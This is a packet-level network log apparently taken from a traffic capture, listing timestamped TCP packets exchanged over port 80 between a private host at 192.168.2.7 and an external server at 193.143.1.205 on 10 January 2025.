Jan 10, 2025 22:07:35.385516882 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385540009 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385540009 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385559082 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385560036 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385570049 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385581970 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385592937 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385596991 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385603905 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385612011 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385615110 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385637999 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385638952 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385652065 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385673046 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385674000 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385689020 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385699987 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385708094 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385716915 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385730028 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385734081 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385742903 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385755062 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385762930 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385766029 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385777950 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385790110 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385790110 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385811090 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385863066 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385874987 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385885954 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385896921 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385898113 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385909081 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385919094 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385921001 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385931969 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385942936 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385943890 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385955095 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385967016 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385973930 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385979891 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385991096 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385991096 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386004925 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386013031 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386015892 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386027098 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386039019 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386049986 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386058092 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386075974 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386076927 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386089087 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386097908 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386099100 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386110067 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386121035 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386127949 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386132002 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386142015 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386142969 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386156082 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386183977 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386193037 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386226892 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386238098 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386248112 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386254072 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386265993 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386271000 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386276960 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386287928 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386288881 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386300087 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386312008 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386312962 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386323929 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386336088 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386341095 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386348009 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386358976 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386370897 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386369944 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386384010 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.386393070 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.386406898 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.387909889 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.388562918 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.388600111 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.402448893 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402468920 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402484894 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402523994 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.402574062 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402585030 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402596951 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402606964 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402607918 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.402618885 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402626038 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.402630091 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402641058 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.402658939 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.402674913 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.418042898 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.418060064 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.418080091 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.418092012 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.418107033 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.418118954 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.418124914 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.418129921 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.418143034 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.418155909 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.418179989 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.423892975 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.423913002 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.423924923 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.423971891 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.424009085 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424019098 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424030066 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424041986 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424045086 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.424066067 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.424118042 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424154997 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.424190044 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424201965 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424213886 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424225092 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424236059 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424237967 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.424253941 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.424257994 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.424288034 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454408884 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454514980 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454525948 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454538107 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454550982 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454554081 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454561949 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454572916 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454586029 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454587936 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454600096 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454605103 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454628944 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454684973 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454695940 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454709053 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454718113 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454720020 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454731941 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454742908 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454742908 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454761982 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454763889 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454782009 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454794884 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454806089 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454813957 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454818010 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454829931 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454833984 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454840899 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454850912 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454859018 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454863071 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454873085 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454874992 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454884052 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454895973 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.454900980 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.454955101 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455056906 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455068111 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455080032 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455090046 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455091000 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455101967 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455111980 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455120087 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455123901 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455140114 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455142021 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455152988 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455159903 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455193996 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455224037 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455235004 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455248117 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455257893 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455269098 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455276012 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455306053 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455355883 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455365896 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455377102 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455384016 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455389023 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455399990 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455409050 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455411911 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455423117 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455446005 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455461025 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455487013 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455497026 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455508947 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455518961 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455542088 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455542088 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455559015 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455569029 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455575943 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455580950 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455591917 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455593109 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455619097 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455661058 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455688000 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455699921 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455708981 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455719948 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455730915 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.455738068 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.455765963 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.458961010 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.458978891 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.458991051 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459017038 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459058046 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459068060 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459079981 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459090948 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459091902 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459115982 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459172010 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459182978 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459198952 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459208012 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459209919 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459228039 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459233046 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459239006 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459250927 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459260941 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459273100 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459274054 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459296942 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459305048 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459311008 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459322929 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459335089 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459345102 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459357023 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459357977 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459368944 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.459378958 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.459395885 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.461568117 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.488729000 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.488745928 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.488759041 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.488770962 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.488782883 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.488795996 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.488806963 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.488821030 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.488822937 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.488852978 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.488852978 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.488862038 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.504256964 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.504278898 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.504290104 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.504302025 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.504323959 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.504333973 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.504345894 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.504354954 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.504354954 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.504367113 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.504384041 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.504403114 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.510175943 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510206938 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510225058 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510236979 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510248899 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510268927 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510278940 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510272026 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.510272026 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.510296106 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510330915 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.510332108 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.510359049 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510396957 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.510426998 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510437965 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510451078 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510471106 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.510494947 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510505915 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510516882 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510529041 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.510550976 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.510550976 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540507078 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540534973 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540546894 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540568113 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540571928 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540587902 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540601015 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540607929 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540613890 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540623903 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540627956 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540637016 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540653944 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540663004 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540674925 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540679932 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540688038 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540702105 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540709972 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540736914 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540747881 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540759087 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540770054 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540781021 CET	80	49710	193.143.1.205	192.168.2.7
